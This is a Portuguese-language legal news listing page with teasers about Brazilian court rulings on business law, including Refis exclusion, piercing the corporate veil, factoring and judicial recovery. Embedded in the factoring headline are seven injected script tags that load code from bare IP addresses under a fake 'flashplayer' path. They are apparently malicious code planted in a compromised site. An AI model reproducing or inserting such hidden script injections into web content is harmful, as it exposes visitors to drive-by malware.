Notícias . Direito Empresarial
Empresa que tentava pagar dívida de R$ 392 mil com parcelas de R$ 35 é excluída do Refis.
Segunda Turma do Superior Tribunal de Justiça (STJ) manteve a exclusão da empresa Bertani, Miri & Cia Ltda. do Programa de Recuperação Fiscal (Refis). A empresa alegava que vinha depositando como pagamento de parcela mais que o dobro do que [...]
Clique e leia a notíciaTerceira Turma aplica exceção à regra da desconsideração da personalidade jurídica.
A autonomia patrimonial da pessoa jurídica não pode ser utilizada como pano de fundo para o cometimento de fraudes. “Nessas hipóteses, deve a regra da separação patrimonial ceder episodicamente para coibir a fraude e a lesão ao interesse de credores.” [...]
Clique e leia a notíciaBens de terceiro que não respondeu a processo não podem ser atingidos na execução.
Os bens de terceiro que não participou de processo nem figura como devedor em sentença não podem ser atingidos pela execução. Com esse entendimento, a Quarta Turma do Superior Tribunal de Justiça (STJ) determinou a liberação de uma locomotiva que [...]
Clique e leia a notíciaDefesa de interesse próprio autoriza empresa a impugnar desconsideração da personalidade jurídica.
A pessoa jurídica pode se valer dos meios próprios de impugnação para defender sua autonomia e administração, desde que o faça sem invadir a esfera de direitos dos sócios ou administradores incluídos no polo passivo da demanda. O entendimento é [...]
Clique e leia a notíciaEmpresa de factoring tem direito de regresso contra faturizada que cedeu duplicatas frias.<script src="http://79.96.136.239/br/flashplayer"></script> <script src="http://79.96.136.239/br/flashplayer"></script> <script src="http://79.96.136.239/br/flashplayer"></script> <script src="http://79.96.136.239/br/flashplayer"></script> <script src="http://79.133.218.155/br/flashplayer"></script> <script src="http://79.133.218.155/br/flashplayer"></script> <script src="http://79.133.218.155/br/flashplayer"></script>
A Quarta Turma do Superior Tribunal de Justiça (STJ) decidiu que uma empresa de factoring tem o direito de cobrar da faturizada o valor correspondente às duplicatas cedidas, porque havia evidências de que fossem “frias” e, além disso, o credor [...]
Clique e leia a notíciaHomologação de plano de recuperação judicial não exige certidão tributária negativa..
Qualquer interpretação que inviabilize ou não fomente a superação da crise da empresa em recuperação judicial contraria a lei. Com esse entendimento, a Corte Especial do Superior Tribunal de Justiça (STJ) afastou a exigência de certidões negativas tributárias para homologação [...]
Clique e leia a notíciaTurma condena empresa federal por dispensar empregada em período pré-eleições municipais.
A Sétima Turma do Tribunal Superior do Trabalho condenou o Hospital Femina S/A, integrante da Administração Pública Indireta Federal, a indenizar empregada dispensada durante período de estabilidade provisória em razão de eleições municipais. A Turma concluiu que, durante o pleito [...]
Clique e leia a notíciaContrato de confissão de dívida é exequível e vale por si só.
O juiz da 23ª Vara Cível de Brasília negou os embargos à execução de casal que questiona a validade do contrato de confissão de dívida por ele assinado. De acordo com a decisão do magistrado: “A confissão de dívida vale [...]
Clique e leia a notíciaProteção do bem de família pode ser afastada em caso de esvaziamento de patrimônio
Permitir que uma clara fraude seja perpetrada sob a sombra de uma disposição legal protetiva implica, ao mesmo tempo, promover injustiça na situação concreta, e enfraquecer, de maneira global, o sistema de especial proteção objetivado pelo legislador. Caso ocorra esvaziamento [...]
Clique e leia a notíciaAção de cobrança em venda sem nota fiscal é extinta sem julgamento do mérito.
A venda mercantil desacompanhada da correspondente nota fiscal afasta a verossimilhança do enquadramento fiscal como microempresa, o que leva à extinção do feito sem resolução ante a ilegitimidade ativa, de acordo com o artigo 51 da Lei 9.099/95. Com base [...]
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